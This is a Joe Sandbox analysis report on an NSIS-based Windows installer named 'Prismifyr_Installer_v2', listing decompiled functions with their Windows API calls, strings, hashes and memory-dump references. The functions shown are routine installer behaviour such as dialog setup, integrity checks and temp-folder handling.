Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 6add73535d334bbd10faeab47eb29d8a703edf5c42766cfe57afeb0baa1f3480
Instruction ID: 6590b0d0bd135a94e5278e34c2007f8374f9804fe0c2ec815525577e7f77d17f
Opcode Fuzzy Hash: 6add73535d334bbd10faeab47eb29d8a703edf5c42766cfe57afeb0baa1f3480
Instruction Fuzzy Hash: 01414C71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E0DBB99981CB44

Function 00403D58 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D94
ShowWindow.USER32(?), ref: 00403DB1
DestroyWindow.USER32 ref: 00403DC5
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DE1
GetDlgItem.USER32(?,?), ref: 00403E02
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403E16
IsWindowEnabled.USER32(00000000), ref: 00403E1D
GetDlgItem.USER32(?,00000001), ref: 00403ECB
GetDlgItem.USER32(?,00000002), ref: 00403ED5
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00403EEF
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F40
GetDlgItem.USER32(?,00000003), ref: 00403FE6
ShowWindow.USER32(00000000,?), ref: 00404007
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404019
EnableWindow.USER32(?,?), ref: 00404034
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040404A
EnableMenuItem.USER32(00000000), ref: 00404051
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404069
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040407C
lstrlenW.KERNEL32(00450248,?,00450248,00000000), ref: 004040A6
SetWindowTextW.USER32(?,00450248), ref: 004040BA
ShowWindow.USER32(?,0000000A), ref: 004041EE

Strings

<#j, xrefs: 00404108

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherEnableMenuUser$DestroyEnabledLongSystemTextlstrlen
String ID: <#j
API String ID: 3906175533-3254663873
Opcode ID: fc0f4d7be1e4c82c86fade982caad82dc734dafc7249948e3003efd3e17736fb
Instruction ID: ebd8885eb79f40fe398f9982bcc50e4b60f6275a3dc5f5776bcae5bce4ead0d0
Opcode Fuzzy Hash: fc0f4d7be1e4c82c86fade982caad82dc734dafc7249948e3003efd3e17736fb
Instruction Fuzzy Hash: AFC1D5B1500304ABDB206F61EE88E2B3A78FB95346F00053EF645B51F1CB799891DB6E

Function 004039AA Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

lstrcatW.KERNEL32(004DB000,00450248,80000001,Control Panel\Desktop\ResourceLocale,00000000,00450248,00000000,00000002,004DF000,76233420,004CB000,00000000), ref: 00403A2B
lstrlenW.KERNEL32(Remove folder: ,?,?,?,Remove folder: ,00000000,004CF000,004DB000,00450248,80000001,Control Panel\Desktop\ResourceLocale,00000000,00450248,00000000,00000002,004DF000), ref: 00403AAB
lstrcmpiW.KERNEL32(?,.exe,Remove folder: ,?,?,?,Remove folder: ,00000000,004CF000,004DB000,00450248,80000001,Control Panel\Desktop\ResourceLocale,00000000,00450248,00000000), ref: 00403ABE
GetFileAttributesW.KERNEL32(Remove folder: ), ref: 00403AC9
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004CF000), ref: 00403B12

Part of subcall function 00406201: wsprintfW.USER32 ref: 0040620E

RegisterClassW.USER32(00472E80), ref: 00403B4F
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B67
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B9C
ShowWindow.USER32(00000005,00000000), ref: 00403BD2
GetClassInfoW.USER32(00000000,RichEdit20W,00472E80), ref: 00403BFE
GetClassInfoW.USER32(00000000,RichEdit,00472E80), ref: 00403C0B
RegisterClassW.USER32(00472E80), ref: 00403C14
DialogBoxParamW.USER32(?,00000000,00403D58,00000000), ref: 00403C33

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004039DE
RichEdit, xrefs: 00403C05
.exe, xrefs: 00403AB8
RichEd20, xrefs: 00403BD8
RichEdit20W, xrefs: 00403BF6, 00403BFC
RichEd32, xrefs: 00403BE6
_Nb, xrefs: 00403B2E, 00403B96
Remove folder: , xrefs: 00403A72, 00403A7B, 00403A89, 00403AD8, 00403ADE
.DEFAULT\Control Panel\International, xrefs: 00403A16

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$Remove folder: $RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-564491471
Opcode ID: f1b2be5f89fac0cbf9958f47fdf3d8daba4c0bfed37b59ff3d0d792caf125e20
Instruction ID: e946f9b6b947081a315c1f95bc525aa973ad4f651662e5f5477bf26fdb3bf1de
Opcode Fuzzy Hash: f1b2be5f89fac0cbf9958f47fdf3d8daba4c0bfed37b59ff3d0d792caf125e20
Instruction Fuzzy Hash: B361C8302407007ED720AF669E45E2B3A6CEB8474AF40417FF985B51E2DBBD5951CB2E

Function 004062DC Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Remove folder: ,00002000), ref: 0040641D
GetWindowsDirectoryW.KERNEL32(Remove folder: ,00002000,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,?,00405359,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000), ref: 00406430
SHGetSpecialFolderLocation.SHELL32(00405359,0042CE00,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,?,00405359,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000), ref: 0040646C
SHGetPathFromIDListW.SHELL32(0042CE00,Remove folder: ), ref: 0040647A
CoTaskMemFree.OLE32(0042CE00), ref: 00406485
lstrcatW.KERNEL32(Remove folder: ,\Microsoft\Internet Explorer\Quick Launch), ref: 004064AB
lstrlenW.KERNEL32(Remove folder: ,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,?,00405359,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000), ref: 00406503

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004063ED
Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\, xrefs: 00406301
Remove folder: , xrefs: 00406306, 004063E1, 004063E8, 004063EC, 00406406, 00406407, 0040641C, 0040642F, 0040644B, 00406476, 004064AA, 004064B0, 004064CC, 004064DF, 004064FC, 00406502, 0040650E, 00406541
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064A5

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Remove folder: $Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1389394178
Opcode ID: 412c271bb9d070f278564469311d6f605cf1b48e62db3e13451b1dc2679c3c4f
Instruction ID: deb4280fb9253f119c0dee44fead77f8699473dbe43bed35a1e393a154a8df3c
Opcode Fuzzy Hash: 412c271bb9d070f278564469311d6f605cf1b48e62db3e13451b1dc2679c3c4f
Instruction Fuzzy Hash: 87612371A00115AADF209F64DC44BAE37A5EF45318F22803FE907B62D0D77D9AA1C75E

Function 00402EDD Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,004E7000,00002000,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405DB0: GetFileAttributesW.KERNELBASE(004E7000,00402F1D,004E7000,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

GetFileSize.KERNEL32(00000000,00000000,004EB000,00000000,004D7000,004D7000,004E7000,004E7000,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

soft, xrefs: 00402FCB
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
Null, xrefs: 00402FD4
Inst, xrefs: 00402FC2
Error launching installer, xrefs: 00402F2D

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 6fdf7a3c576b274adc95fc68e3ac1b8cc101307f87f608dfe476064d1f7918cb
Instruction ID: d807cc789e5c0b6659aec278a7977cb1897ccc82e3fedab9e592eb30a9b28e48
Opcode Fuzzy Hash: 6fdf7a3c576b274adc95fc68e3ac1b8cc101307f87f608dfe476064d1f7918cb
Instruction Fuzzy Hash: 23511671901205ABDB20AF61DD85B9F7FACEB0431AF20403BF914B62D5C7789E818B9D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,ExecShellAsUser,004D3000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,ExecShellAsUser,ExecShellAsUser,00000000,00000000,ExecShellAsUser,004D3000,?,?,00000031), ref: 004017D5

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00002000,00403460,00472EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

Part of subcall function 00405322: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,0040327A,0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Strings

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll, xrefs: 00401835, 00401851
ExecShellAsUser, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsyC753.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsyC753.tmp$C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll$ExecShellAsUser
API String ID: 1941528284-3783607559
Opcode ID: 84cc1ef8d08a74648e49299eefb5f22073aa957ae4a4092afed5da839c45f715
Instruction ID: c6e8234c1d4b6e0ef99598e998ad36802638a9a190aaa2bd7459f070bf199d51
Opcode Fuzzy Hash: 84cc1ef8d08a74648e49299eefb5f22073aa957ae4a4092afed5da839c45f715
Instruction Fuzzy Hash: 9841B471900514BACF107BA5CD45DAF3A79EF05368F20423FF422B10E1DA3C86919A6E

Function 00406624 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040663B
wsprintfW.USER32 ref: 00406676
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040668A

Strings

%s%S.dll, xrefs: 00406670
UXTHEME, xrefs: 0040662D
\, xrefs: 0040664C

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 9fa172bba6ca99a644905d2b6d7ed641771312ed853c50fe9922007c80c3d461
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 7CF0FC70501119A6CF10BB64DD0EF9B365CA700304F10447AA54AF10D1EBB9DB64CB99

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403227
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 00403250
wsprintfW.USER32 ref: 00403263

Strings

... %d%%, xrefs: 0040325D

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 791be84a4dbf0ce6e2b89685bbb0426d8c944effbebd544c9fcf1485a6d681ca
Instruction ID: f437ad28db75119c3a693f92e670aa5c34007c7df9fe8e0debaece40423bbb79
Opcode Fuzzy Hash: 791be84a4dbf0ce6e2b89685bbb0426d8c944effbebd544c9fcf1485a6d681ca
Instruction Fuzzy Hash: 0D517D71900219DBDB10DF66EA44AAE7BB8AB04356F54417FEC14B72C0CB388A51CBA9

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

